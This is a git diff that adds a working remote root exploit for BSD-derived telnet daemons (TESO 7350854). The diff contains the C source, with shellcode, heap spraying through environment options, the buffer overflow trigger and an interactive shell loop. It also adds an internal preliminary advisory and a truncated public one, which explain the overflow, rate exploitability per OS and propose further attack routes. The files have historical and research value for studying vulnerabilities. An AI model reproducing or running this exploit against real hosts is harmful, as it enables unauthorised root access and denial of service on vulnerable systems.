+    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
+    "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
+
+
+unsigned char * shellcode = x86_bsd_compaexec;
+
+
+#define COL 55
+
+
+void
+usage (char *progname)
+{
+        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
+        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
+                "-c\tcheck exploitability only, do not exploit\n"
+                "-f\tforce mode, override check results\n\n");
+        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
+                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
+                        "take that, or it will take very long for it (> 1h). beware.\n\n");
+        
+        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
+                        "\tNetBSD 1.5\n"
+                        "\tBSDI BSD/OS 4.1\n\n");
+
+        exit (EXIT_FAILURE);
+}
+
+int
+main (int argc, char *argv[])
+{
+        char                    c;
+        char *                  progname;
+        char *                  dest;
+        int                     i, j, fd,
+                                dots = 0;
+        int                     popc;
+        struct timeval          start,
+                                cur;
+        unsigned long long int  g_pct,  /* gaussian percentage */
+                                g_all;  /* gaussian overall */
+
+
+        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
+                "by zip, lorian, smiler and scut.\n\n");
+
+        progname = argv[0];
+        if (argc < 2)
+                usage (progname);
+
+
+        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
+                switch (c) {
+                case 'n':
+                        num = atoi (optarg);
+                        break;
+                case 'c':
+                        checkonly = 1;
+                        break;
+                case 'f':
+                        force = 1;
+                        break;
+                default:
+                        usage (progname);
+                        break;
+                }
+        }
+
+        dest = argv[argc - 1];
+        if (dest[0] == '-')
+                usage (progname);
+
+        fd = net_connect (NULL, dest, 23, 20);
+        if (fd <= 0) {
+                fprintf (stderr, "failed to connect\n");
+                exit (EXIT_FAILURE);
+        }
+
+        random_init ();
+
+        if (xp_check (fd) == 0 && force == 0) {
+                printf ("aborting\n");
+#ifndef DEBUG
+                exit (EXIT_FAILURE);
+#endif
+        }
+        close (fd);
+
+        if (checkonly)
+                exit (EXIT_SUCCESS);
+
+        fd = net_connect (NULL, dest, 23, 20);
+        if (fd <= 0) {
+                fprintf (stderr, "failed to connect the second time\n");
+                exit (EXIT_FAILURE);
+        }
+
+        printf ("\n#############################################################################\n\n");
+        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
+                "telnet daemon process, it will spill badly. but then, there is no\n"
+                "other way, sorry...\n\n", mode);
+
+#ifdef DEBUG
+        getchar ();
+#endif
+        printf ("## setting populators to populate heap address space\n");
+
+        g_all = ((unsigned long long int)(pop / 2)) *
+                        ((unsigned long long int)(pop + 1));
+        g_pct = 0;
+
+        printf ("## number of setenvs (dots / network): %d\n", pop);
+        printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
+        printf ("##\n");
+        printf ("## the percentage is more realistic than the dots ;)\n");
+        printf ("\n");
+        printf ("percent |");
+
+        popc = pop / COL;
+        for (i = pop / popc ; i >= 0 ; --i)
+                printf ("-");
+        printf ("|      ETA |\n");
+
+        gettimeofday (&start, NULL);
+
+        for (walk = 0 ; walk < pop ; ++walk) {
+                xp_pop (fd);
+
+                g_pct += walk;
+
+                if (walk % popc == 0)
+                        dots += 1;
+
+                if (walk % 200 == 0) {
+                        int                     pct;
+                        float                   pct_f;
+                        unsigned long int       diff;
+
+                        pct = (int) ((g_pct * 100) / g_all);
+                        pct_f = g_pct * 100;
+                        pct_f /= (float) g_all;
+
+                        /* calculate difference not caring about accuracy */
+                        gettimeofday (&cur, NULL);
+                        diff = cur.tv_sec - start.tv_sec;
+
+                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
+                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
+                        for (j = 0 ; j < dots ; ++j)
+                                printf (".");
+                        for ( ; j <= COL ; ++j)
+                                printf (" ");
+
+                        if (pct != 0) {
+                                diff = (int) ((((float)(100 - pct_f)) /
+                                        (float) pct_f) * diff);
+                                printf ("| %02lu:%02lu:%02lu |",
+                                        diff / 3600, (diff % 3600) / 60,
+                                        diff % 60);
+                        } else {
+                                printf ("| --:--:-- |");
+                        }
+
+                        fflush (stdout);
+                }
+        }
+        printf ("\n\n");
+
+        printf ("## sleeping for 10 seconds to let the process recover\n");
+        sleep (10);
+
+#ifdef DEBUG
+        getchar ();
+#endif
+        /* return into 0x08feff0a */
+        xp (fd);
+        sleep (1);
+
+        printf ("## ok, you should now have a root shell\n");
+        printf ("## as always, after hard times, there is a reward...\n");
+        printf ("\n\ncommand: ");
+        fflush (stdout);
+
+        shell (fd);
+
+        exit (EXIT_SUCCESS);
+}
+
+
+void
+xp (int fd)
+{
+        int             n;
+        unsigned char   buf[2048];
+
+
+        /* basic overflow */
+        for (n = bs ; n < sizeof (buf) ; ++n)
+                buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
+
+        /* some nifty alignment */
+        buf[0] = '\xff';        /* IAC */
+        buf[1] = '\xf5';        /* AO  */
+
+        if (mode == 16) {
+                buf[2] = '\xff';        /* IAC */
+                buf[3] = '\xfb';        /* WILL */
+                buf[4] = '\x26';        /* ENCRYPTION */
+        }
+
+        /* force 0x08feff0a as return */
+        buf[num++] = '\xff';
+        buf[num++] = '\xfb';
+        buf[num++] = '\x08';
+
+        /* and the output_encrypt overwrite action, yay! */
+        buf[num++] = '\xff';
+        buf[num++] = '\xf6';
+
+        /* XXX: should not fail here, though we should better loop and check */
+        n = send (fd, buf, num, 0);
+        if (n != num) {
+                perror ("xp:send");
+        }
+}
+
+
+#ifdef INSANE_MIND
+
+void
+xp_shrinkwin (int fd)
+{
+        int             n;
+        int             iobc;
+        int             p = 0;
+        unsigned char   buf[2048];
+        char            c;
+        int             val;
+        int             len;
+
+        for (n = 0 ; n < sizeof (buf) ; ++n)
+                buf[n] = n % 2 ? '\xf6' : '\xff';
+
+        len = sizeof (val);
+        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+        printf ("SO_SNDLOWAT = %d\n", val);
+        val = 1;
+        printf ("setsockopt: %s\n",
+                setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
+                "FAILED" : "SUCCESS");
+        val = 1234;
+        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+        printf ("SO_SNDLOWAT = %d\n", val);
+
+        getchar();
+        while (1) {
+                if (p > 105)
+                        c = getchar();
+                if (c == 'r') {
+                        getchar();
+                        read (fd, &buf[1024], 384);
+                } else if (c == 'o') {
+                        getchar();
+                        send (fd, "7", 1, MSG_OOB);
+                } else if (c != 'r') {
+                        usleep(100000);
+                        n = send (fd, buf, 112, 0);
+                        ioctl (fd, FIONREAD, &iobc);
+                        len = sizeof (val);
+                        getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
+                        printf ("%02d. send: %d  local: %d/%d (%d left)\n",
+                                ++p, n, iobc, val, val - iobc);
+                }
+        }
+}
+#endif
+
+
+/* xp_pop - populator function
+ *
+ * causes remote telnet daemon to setenv() variables with our content, populating
+ * the heap with shellcode. this will get us more nopspace and place our shellcode
+ * where the nice addresses are, that we can create by writing telnet option
+ * strings.
+ *
+ * XXX: there seems to be a maximum size for the environment value you can set,
+ *      which is 510. we use 496 bytes for nopspace and shellcode therefore.
+ *      should work, rather similar to tsig tcp/malloc exploitation. -sc
+ */
+
+void
+xp_pop (int fd)
+{
+        unsigned char   var[16];
+        unsigned char   storebuf[496];
+        sprintf (var, "%06x", walk);
+#ifdef DEBUG
+        memset (storebuf, '\xcc', sizeof (storebuf));
+#else
+/*      memset (storebuf, '\x90', sizeof (storebuf));   */
+        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
+        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
+                shellcode, strlen (shellcode));
+#endif
+        storebuf[sizeof (storebuf) - 1] = '\0';
+
+        xp_setenv (fd, var, storebuf);
+}
+
+
+void
+xp_setenv (int fd, unsigned char *var, unsigned char *val)
+{
+        int             n = 0;
+        unsigned char   buf[2048];
+
+        buf[n++] = IAC;
+        buf[n++] = SB;
+        buf[n++] = TELOPT_NEW_ENVIRON;
+        buf[n++] = TELQUAL_IS;
+        buf[n++] = ENV_USERVAR;
+
+        /* should not contain < 0x04 */
+        while (*var) {
+                if (*var == IAC)
+                        buf[n++] = *var;
+                buf[n++] = *var++;
+        }
+        buf[n++] = NEW_ENV_VALUE;
+        while (*val) {
+                if (*val == IAC)
+                        buf[n++] = *val;
+                buf[n++] = *val++;
+        }
+        buf[n++] = IAC;
+        buf[n++] = SE;
+
+        if (send (fd, buf, n, 0) != n) {
+                perror ("xp_setenv:send");
+                exit (EXIT_FAILURE);
+        }
+}
+
+
+int
+xp_check (int fd)
+{
+        int             n;
+        unsigned int    expect_len = 15;
+        unsigned char   expected[] =
+                "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
+                /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
+        unsigned int    additional_len = 8;
+        unsigned char   additional[] =
+                "\xff\xfa\x26\x01\x01\x02\xff\xf0";
+                /*IAC SB  ENC ........... IAC SE */
+
+        unsigned char   buf[128];
+
+        read (fd, buf, sizeof (buf));
+
+        n = 0;
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = AYT;                 /* 0xf6 */
+
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = WILL;                /* 0xfb */
+        buf[n++] = TELOPT_NAOL;         /* 0x08 */
+
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = WILL;                /* 0xfb */
+        buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */
+
+#ifdef DEBUG
+        hexdump ("check send buffer", buf, n);
+#endif
+        if (send (fd, buf, n, 0) != n) {
+                perror ("xp_check:send");
+                exit (EXIT_FAILURE);
+        }
+
+        n = read (fd, buf, sizeof (buf));
+#ifdef DEBUG
+        hexdump ("check recv buffer", buf, n);
+#endif
+
+        if (memcmp (buf, expected, expect_len) == 0) {
+                if (memcmp (buf+expect_len, additional, additional_len) == 0) {
+                        mode = 16;
+                } else {
+                        mode = 34;
+                        bs = bs34;
+                }
+                printf ("check: PASSED, using %dmb mode\n", mode);
+
+                return (1);
+        }
+
+        printf ("check: FAILED\n");
+
+        return (0);
+}
+
+
+void
+shell (int sock)
+{
+        int     l;
+        char    buf[512];
+        fd_set  rfds;
+
+
+        while (1) {
+                FD_SET (0, &rfds);
+                FD_SET (sock, &rfds);
+
+                select (sock + 1, &rfds, NULL, NULL, NULL);
+                if (FD_ISSET (0, &rfds)) {
+                        l = read (0, buf, sizeof (buf));
+                        if (l <= 0) {
+                                perror ("read user");
+                                exit (EXIT_FAILURE);
+                        }
+                        write (sock, buf, l);
+                }
+
+                if (FD_ISSET (sock, &rfds)) {
+                        l = read (sock, buf, sizeof (buf));
+                        if (l <= 0) {
+                                perror ("read remote");
+                                exit (EXIT_FAILURE);
+                        }
+                        write (1, buf, l);
+                }
+        }
+}
+
+
+/* ripped from zodiac */
+void
+hexdump (char *desc, unsigned char *data, unsigned int amount)
+{
+        unsigned int    dp, p;  /* data pointer */
+        const char      trans[] =
+                "................................ !\"#$%&'()*+,-./0123456789"
+                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
+                "nopqrstuvwxyz{|}~...................................."
+                "....................................................."
+                "........................................";
+
+
+        printf ("/* %s, %u bytes */\n", desc, amount);
+
+        for (dp = 1; dp <= amount; dp++) {
+                fprintf (stderr, "%02x ", data[dp-1]);
+                if ((dp % 8) == 0)
+                        fprintf (stderr, " ");
+                if ((dp % 16) == 0) {
+                        fprintf (stderr, "| ");
+                        p = dp;
+                        for (dp -= 16; dp < p; dp++)
+                                fprintf (stderr, "%c", trans[data[dp]]);
+                        fflush (stderr);
+                        fprintf (stderr, "\n");
+                }
+                fflush (stderr);
+        }
+        if ((amount % 16) != 0) {
+                p = dp = 16 - (amount % 16);
+                for (dp = p; dp > 0; dp--) {
+                        fprintf (stderr, "   ");
+                        if (((dp % 8) == 0) && (p != 8))
+                                fprintf (stderr, " ");
+                        fflush (stderr);
+                }
+                fprintf (stderr, " | ");
+                for (dp = (amount - (16 - p)); dp < amount; dp++)
+                        fprintf (stderr, "%c", trans[data[dp]]);
+                fflush (stderr);
+        }
+        fprintf (stderr, "\n");
+
+        return;
+}
+
+
+
+unsigned long int
+net_resolve (char *host)
+{
+        long            i;
+        struct hostent  *he;
+
+        i = inet_addr(host);
+        if (i == -1) {
+                he = gethostbyname(host);
+                if (he == NULL) {
+                        return (0);
+                } else {
+                        return (*(unsigned long *) he->h_addr);
+                }
+        }
+        return (i);
+}
+
+
+int
+net_connect (struct sockaddr_in *cs, char *server,
+        unsigned short int port, int sec)
+{
+        int                     n,
+                                len,
+                                error,
+                                flags;
+        int                     fd;
+        struct timeval          tv;
+        fd_set                  rset, wset;
+        struct sockaddr_in      csa;
+
+        if (cs == NULL)
+                cs = &csa;
+
+        /* first allocate a socket */
+        cs->sin_family = AF_INET;
+        cs->sin_port = htons (port);
+        fd = socket (cs->sin_family, SOCK_STREAM, 0);
+        if (fd == -1)
+                return (-1);
+
+        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
+                close (fd);
+                return (-1);
+        }
+
+        flags = fcntl (fd, F_GETFL, 0);
+        if (flags == -1) {
+                close (fd);
+                return (-1);
+        }
+        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
+        if (n == -1) {
+                close (fd);
+                return (-1);
+        }
+
+        error = 0;
+
+        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
+        if (n < 0) {
+                if (errno != EINPROGRESS) {
+                        close (fd);
+                        return (-1);
+                }
+        }
+        if (n == 0)
+                goto done;
+
+        FD_ZERO(&rset);
+        FD_ZERO(&wset);
+        FD_SET(fd, &rset);
+        FD_SET(fd, &wset);
+        tv.tv_sec = sec;
+        tv.tv_usec = 0;
+
+        n = select(fd + 1, &rset, &wset, NULL, &tv);
+        if (n == 0) {
+                close(fd);
+                errno = ETIMEDOUT;
+                return (-1);
+        }
+        if (n == -1)
+                return (-1);
+
+        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
+                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
+                        len = sizeof(error);
+                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
+                                errno = ETIMEDOUT;
+                                return (-1);
+                        }
+                        if (error == 0) {
+                                goto done;
+                        } else {
+                                errno = error;
+                                return (-1);
+                        }
+                }
+        } else
+                return (-1);
+
+done:
+        n = fcntl(fd, F_SETFL, flags);
+        if (n == -1)
+                return (-1);
+        return (fd);
+}
+
+
+/* imported from shellkit */
+
+unsigned long int
+random_get (unsigned long int low, unsigned long int high)
+{
+        unsigned long int       val;
+
+        if (low > high) {
+                low ^= high;
+                high ^= low;
+                low ^= high;
+        }
+
+        val = (unsigned long int) random ();
+        val %= (high - low);
+        val += low;
+
+        return (val);
+}
+
+
+void
+random_init (void)
+{
+        srandom (time (NULL));
+}
+
+
+int
+bad (unsigned char u)
+{
+        if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
+                return (1);
+
+        return (0);
+}
+
+int
+badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
+{
+        int     n;
+
+        for (code_len -= 1 ; code_len >= 0 ; --code_len) {
+                for (n = 0 ; n < bad_len ; ++n)
+                        if (code[code_len] == bad[n])
+                                return (1);
+        }
+
+        return (0);
+}
+
+unsigned long int
+x86_nop_rwreg (void)
+{
+        unsigned long int       reg;
+
+        do {
+                reg = random_get (0, 7);
+        } while (reg == 4);     /* 4 = $esp */
+
+        return (reg);
+}
+
+
+
+unsigned long int
+x86_nop_xfer (char *xferstr)
+{
+        int                     bw = 0; /* bitfield walker */
+        unsigned char           tgt;    /* resulting instruction */
+
+        /* in a valid xferstr we trust */
+        for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
+                switch (xferstr[0]) {
+                case ('0'):
+                        BSET (tgt, 1, 0, bw);
+                        break;
+                case ('1'):
+                        BSET (tgt, 1, 1, bw);
+                        break;
+                case ('r'):
+                        BSET (tgt, 3, x86_nop_rwreg (), bw);
+                        break;
+                case ('.'):
+                        break;  /* ignore */
+                default:
+                        fprintf (stderr, "on steroids, huh?\n");
+                        exit (EXIT_FAILURE);
+                        break;
+                }
+        }
+
+        if (bw != 8) {
+                fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
+                exit (EXIT_FAILURE);
+        }
+
+        return (tgt);
+}
+
+
+unsigned int
+x86_nop (unsigned char *dest, unsigned int dest_len,
+        unsigned char *bad, int bad_len)
+{
+        int     walk;
+        int     bcount; /* bad counter */
+        char *  xs;
+        char *  xferstr[] = {
+                "0011.0111",    /* aaa */
+                "0011.1111",    /* aas */
+                "1001.1000",    /* cbw */
+                "1001.1001",    /* cdq */
+                "1111.1000",    /* clc */
+                "1111.1100",    /* cld */
+                "1111.0101",    /* cmc */
+                "0010.0111",    /* daa */
+                "0010.1111",    /* das */
+                "0100.1r",      /* dec <reg> */
+                "0100.0r",      /* inc <reg> */
+                "1001.1111",    /* lahf */
+                "1001.0000",    /* nop */
+                "1111.1001",    /* stc */
+                "1111.1101",    /* std */
+                "1001.0r",      /* xchg al, <reg> */
+                NULL,
+        };
+        unsigned char   tgt;
+
+
+        for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
+                /* avoid endless loops on excessive badlisting */
+                for (bcount = 0 ; bcount < 16384 ; ++bcount) {
+                        xs = xferstr[random_get (0, 15)];
+                        tgt = x86_nop_xfer (xs);
+
+                        dest[walk] = tgt;
+                        if (badstr (&dest[walk], 1, bad, bad_len) == 0)
+                                break;
+                }
+
+                /* should not happen */
+                if (bcount >= 16384) {
+                        fprintf (stderr, "too much blacklisting, giving up...\n");
+                        exit (EXIT_FAILURE);
+                }
+        }
+
+        return (walk);
+}
+
+
diff --git a/exploits/7350854/7350854.id0 b/exploits/7350854/7350854.id0
new file mode 100644
index 0000000..5b092a6
--- /dev/null
+++ b/exploits/7350854/7350854.id0
diff --git a/exploits/7350854/7350854.id1 b/exploits/7350854/7350854.id1
new file mode 100644
index 0000000..96f808d
--- /dev/null
+++ b/exploits/7350854/7350854.id1
diff --git a/exploits/7350854/7350854.nam b/exploits/7350854/7350854.nam
new file mode 100644
index 0000000..3ff1397
--- /dev/null
+++ b/exploits/7350854/7350854.nam
diff --git a/exploits/7350854/7350854.til b/exploits/7350854/7350854.til
new file mode 100644
index 0000000..ab7e149
--- /dev/null
+++ b/exploits/7350854/7350854.til
diff --git a/exploits/7350854/teso-advisory-011.tar.gz b/exploits/7350854/teso-advisory-011.tar.gz
new file mode 100644
index 0000000..8d5f544
--- /dev/null
+++ b/exploits/7350854/teso-advisory-011.tar.gz
diff --git a/exploits/7350854/teso-advisory-011.txt b/exploits/7350854/teso-advisory-011.txt
new file mode 100644
index 0000000..1c1bcbc
--- /dev/null
+++ b/exploits/7350854/teso-advisory-011.txt
@@ -0,0 +1,307 @@
+
+
+WARNING: THIS IS NOT TO BE DISCLOSED TO ANYONE OUTSIDE OF TESO
+
+THIS IS A PRELIMINARY VERSION OF THE ADVISORY, IT WILL ONLY BE RELEASED IN
+CASE OF LEAKAGE OF THE EXPLOIT/VULNERABILITY.
+
+btw, i have securely stamped myself the vulnerability, i can proof at any
+point, that we knew it on 2001/06/12 or before.
+(i found it on 2001/06/09)
+
+------
+
+TESO Security Advisory
+06/10/2001
+
+Multiple vendor Telnet Daemon vulnerability
+
+
+Summary
+===================
+
+    Within most of the current telnet daemons in use today there exist a buffer
+    overflow in the telnet option handling. Under certain circumstances it may
+    be possible to exploit it to gain root priviledges remotely.
+
+
+Systems Affected
+===================
+
+
+Tests
+===================
+
+    System                                  | vulnerable   | exploitable *
+    ----------------------------------------+--------------+------------------
+    BSDI 4.x default                        |      yes     |       yes
+    FreeBSD [2345].x default                |      yes     |       yes
+    IRIX 6.5                                |      yes     |        no
+    Linux netkit-telnetd < 0.14             |      yes     |        ?
+    Linux netkit-telnetd >= 0.14            |       no     |
+    NetBSD 1.x default                      |      yes     |       yes
+    OpenBSD 2.x                             |      yes     |        ?
+    OpenBSD current                         |       no     |
+    Solaris 2.x sparc                       |      yes     |        ?
+    ----------------------------------------+--------------+------------------
+
+    * = From our analysis and conclusions, which may not be correct or we may
+        have overseen things. Do not rely on this.
+
+    Details about the systems can be found below.
+
+
+Impact
+===================
+
+    Through sending a specially formed option string to the remote telnet
+    daemon a remote attacker might be able to overwrite sensitive information
+    on the static memory pages. If done properly this may result in arbitrary
+    code getting executed on the remote machine under the priviledges the
+    telnet daemon runs on, usually root.
+
+
+Explanation
+===================
+
+    Within every BSD derived telnet daemon under UNIX the telnet options are
+    processed by the 'telrcv' function. This function parses the options
+    according to the telnet protocol and its internal state. During this
+    parsing the results which should be send back to the client are stored
+    within the 'netobuf' buffer. This is done without any bounds checking,
+    since it is assumed that the reply data is smaller than the buffer size
+    (which is BUFSIZ bytes, usually).
+
+    However, using a combination of options, especially the 'AYT' Are You There
+    option, it is possible to append data to the buffer, usually nine bytes
+    long. To trigger this response, two bytes in the input buffer are
+    necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the
+    output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the
+    common case that BUFSIZ is defined to be 1024, this results in a buffer
+    overflow by up to 3584 bytes.  On systems where BUFSIZ is defined to be
+    4096, this is an even greater value (14336).
+
+    Due to the limited set of characters an attacker is able to write outside
+    of the buffer it is difficult - if not impossible on some systems - to
+    exploit this buffer overflow. Another hurdle for a possible attacker may be
+    the lack of interesting information to modify after the buffer.
+
+    This buffer overflow should be considered serious nevertheless, since
+    experience has shown that even complicated vulnerabilities can be
+    exploited by skilled attackers, BIND TSIG and SSH deattack come to mind.
+
+
+    Individual system notes
+    =======================
+
+    These notes include our rating about exploitability on the individual
+    systems. This may be invalid, due to us overlooking things or may be even
+    plain wrong. Also only the most common versions have been analyzed. If you
+    want to write an exploit, start here.
+
+
+    FreeBSD 4.0-REL
+    FreeBSD 4.2-REL
+    FreeBSD 4.3-BETA
+    NetBSD 1.5
+    ----------------
+
+    The binaries of the 4.0-REL (781de77b29f1fc14daab6adefa31e6b9), 4.2-REL
+    (a0491784c6bd4662adc4eb806138f6f8) and 4.3-BETA
+    (ae32821691419385103f3ca7cef89703) release of the FreeBSD operating system
+    and the 1.5 release (e36b5295ae58821eab4d574e729bf356) of the NetBSD
+    operating system, the telnet daemon contains a function pointer
+    'encrypt_output' near behind the 'netobuf' buffer, which we can overwrite.
+    This function pointer is used under certain circumstances to encrypt the
+    outgoing telnet traffic, which is called from the 'netflush' function.
+
+    By overwriting this pointer in a special way one can make it point to the
+    upper heap space. By abusing the telnet daemons setenv functionality prior
+    to the overflow one can populate the upper heap space with shellcode and
+    nops, right there, where the function pointer will point to.
+
+    The exploitation works in multiple phases:
+
+       1. Sending of ~16mb (32000 x 510 byte) bytes of nop space and shellcode
+       2. Aligning the 'nfrontp' pointer to have this position
+
+          ... | 0x00 . 0x00 0x00 0x00 | ...
+
+          Where '|' is the boundary to the function pointer after the 'netobuf'
+          buffer. The '.' position marks where 'nfrontp' points at
+       3. Send an 'IAC WILL 0x08' sequence, which will write:
+
+          ... | 0x00 0xff 0xfb 0x08 | . 0x00 ...
+
+       4. Trigger the function pointer by causing the telnet daemon to call
+          'netflush'
+
+    Step 1 is a tedious process and can even locally take a few minutes,
+    because the entire environment array is walked every time a setenv is
+    called, to check whether the environment variable already exists. Steps 2
+    to 4 are within a final overflow buffer, they are only seperated here for
+    clearness. The alignment in step 2 can be a problem since we can usually
+    only advance the 'nfrontp' pointer by three (IAC WILL|WONT|DO|DONT OPT
+    sequence) or nine ("\r\n[Yes]\r\n") bytes. To come around this we need an
+    advancement 'n' for that is true: n mod 3 = 1. XXX/TODO: write
+
+
+    FreeBSD 4.3-REL
+    ---------------
+
+    Is not affected by the function pointer method. But the 'envinit' array is
+    behind the buffer. Normally the 'envinit' array is used to initialize the
+    'environ' pointer with. The 'envinit' array is in the static memory too and
+    can be overwritten.
+
+    Once setenv is called within the telnetd process, the FreeBSD C library
+    detects that the 'environ' environment pointer points to non allocated
+    space ('alloced' global variable is 0) and creates a copy of the array
+    within the heap space. From there on, all of the telnet daemons setenv
+    requests are inserted within this malloc-stored array and the 'envinit'
+    array, which we can overwrite, becomes useless.
+
+    XXX/Proposed exploitation method:
+
+    Overwrite envinit[0] with a valid pointer to an environment string such as
+    "LD_PRELOAD=/tmp/foo.so". Normally the clients environment set requests are
+    checked for sanity and invalid values such as "LD_*", "_RLD_*" and
+    "SHELLINIT" are avoided. By using this raw overwrite method we may have a
+    chance to inject an environment string directly into the environment array.
+    To make this work a few things have to be considered. First, the pointer
+    must be valid and point to mapped space. By overwritting the pointer and
+    then continuing the normal telnet login we may be able to trick the linker
+    into loading our bogus libraries. This would be a local root exploit or a
+    remote one, if we are able to store files on the remote host.
+
+
+    IRIX 6.5
+    --------
+
+    The good thing about IRIX telnet daemon is that it comes with symbols. The
+    bad thing however is that it does not look to be exploitable. The memory
+    layout is quite easy (/usr/etc/telnetd is a N32 binary):
+
+    sizes:    (4160)  | (4)     | (4)     |
+    what:     netobuf | nfrontp | pfrontp | ...
+
+    They define - as various other telnet daemons do - an extra bogus space to
+    the 'netobuf' buffer, which is 64 bytes (called "NETSLOP" in other daemons
+    sources). 'BUFSIZ' is defined to 1024 by default on IRIX, so at first
+    glance you might think it is a problem to overwrite 4160 bytes, but it is
+    not for that we can send fragmented TCP frames which can be up to 64
+    kilobytes in size. So we can make a 4096 input buffer read without problems.
+
+    But the real problem is the 'nfrontp'. Normally the decent MIPSPro C
+    Compiler optimizes as much pointers into registers as possible, but the
+    'nfrontp' is defined static and used across all over the code, therefore
+    its memory bound into its place and always synced with its real value. If
+    we overwrite just parts of it, it reacts very sensitive and crashes at any
+    read/write access to it. Since IRIX uses the big endian mode of the MIPS
+    CPU the 'nfrontp' is stored with the most significant byte first in the
+    memory. It points to 'netobuf' which is defined on the '.bss' segment,
+    which is located at my installation at: 0x7fc49b70 to 0x7fc4f324. The
+    'nfrontp' content looks like:
+
+         ... (netobuf) ... | 0x7f 0xc4 0xcd 0xa8 | ...
+
+    Since the 'nfrontp' is constantly accessed throughout the code, one has to
+    make it always containing a sane value. Only the mapped areas of the
+    process can be used for this, which are summarized, your addresses may vary:
+
+        0x7fff0000->0x7fff8000  stack
+        0x0f9ec000->0x0fbe8000  various mapped files/libraries
+        0x7fc00114->0x7fc4f400  .text/.*data/.bss and rest
+
+    There may be a way by excessive grow of the heap by using setenv, some more
+    research for this architecture is required to draw a decision. From the
+    current point of view its very difficult, if not impossible to exploit this
+    bug on this binary.
+
+
+    Linux netkit-telnetd version < 0.14
+    -----------------------------------
+
+    XXX/TODO:
+
+
+    Linux netkit-telnetd version >= 0.14
+    ------------------------------------
+
+    Linux netkit-telnetd from version 0.14 is not directly affected by this bug
+    since they wrap a lot of storing operations which utilize 'nfrontp' in a
+    function 'netoprintf', which does boundary checking.
+
+    However it has to be checked for a one byte overflow, which may be possible
+    at multiple occurances of the code, due to the insecure nature of handling
+    'nfrontp'. Then, the following code in the function 'netoprintf' may fail
+    to do the boundary checking:
+
+      int len, maxsize;
+
+      maxsize = sizeof(netobuf) - (nfrontp - netobuf);
+
+      va_start(ap, fmt);
+      len = vsnprintf(nfrontp, maxsize, fmt, ap);
+      va_end(ap);
+
+    In case (nfrontp - netobuf) is greater than sizeof(netobuf), the integer
+    'maxsize' will turn negative and casted to a very large value in the
+    snprintf handling, which makes it behave like sprintf without any boundary
+    checking.
+
+
+Solution
+===================
+
+    The vendors have been notified of the problem at the same time as the
+    general public, vendor patches for your telnet daemon that fix the bug will
+    show up soon.
+
+    Sometimes a fix might not be trivial and require a lot of changes to the
+    source code, due to the insecure nature the 'nfrontp' pointer is handled.
+    The best long term solution is to disable the telnet daemon at all, since
+    there are good and free replacements.
+
+
+Acknowledgements
+===================
+
+    The bug has been discovered by scut.
+
+    The tests and further analysis were done by smiler, zip and scut.
+
+
+Contact Information
+===================
+
+    The TESO crew can be reached by mailing to teso@team-teso.net
+    Our web page is at http://www.team-teso.net/
+
+
+References
+===================
+
+    [1] TESO
+        http://www.team-teso.net/
+
+
+Disclaimer
+===================
+
+    This advisory does not claim to be complete or to be usable for any
+    purpose. Especially information on the vulnerable systems may be inaccurate
+    or wrong. Possibly supplied exploit code is not to be used for malicious
+    purposes, but for educational purposes only.
+
+    This advisory is free for open distribution in unmodified form.
+    Articles that are based on information from this advisory should include
+    link [1].
+
+
+Exploit
+===================
+
+------
+
+
diff --git a/exploits/7350854/teso-advisory-011/teso-advisory-011.txt b/exploits/7350854/teso-advisory-011/teso-advisory-011.txt
new file mode 100644
index 0000000..64e9e71
--- /dev/null
+++ b/exploits/7350854/teso-advisory-011/teso-advisory-011.txt
@@ -0,0 +1,153 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA1
+
+
+- ------
+
+TESO Security Advisory
+06/10/2001
+
+Multiple vendor Telnet Daemon vulnerability
+
+
+Summary
+===================
+
+    Within most of the current telnet daemons in use today there exist a buffer
+    overflow in the telnet option handling. Under certain circumstances it may
+    be possible to exploit it to gain root priviledges remotely.
+
+
+Systems Affected
+===================
+
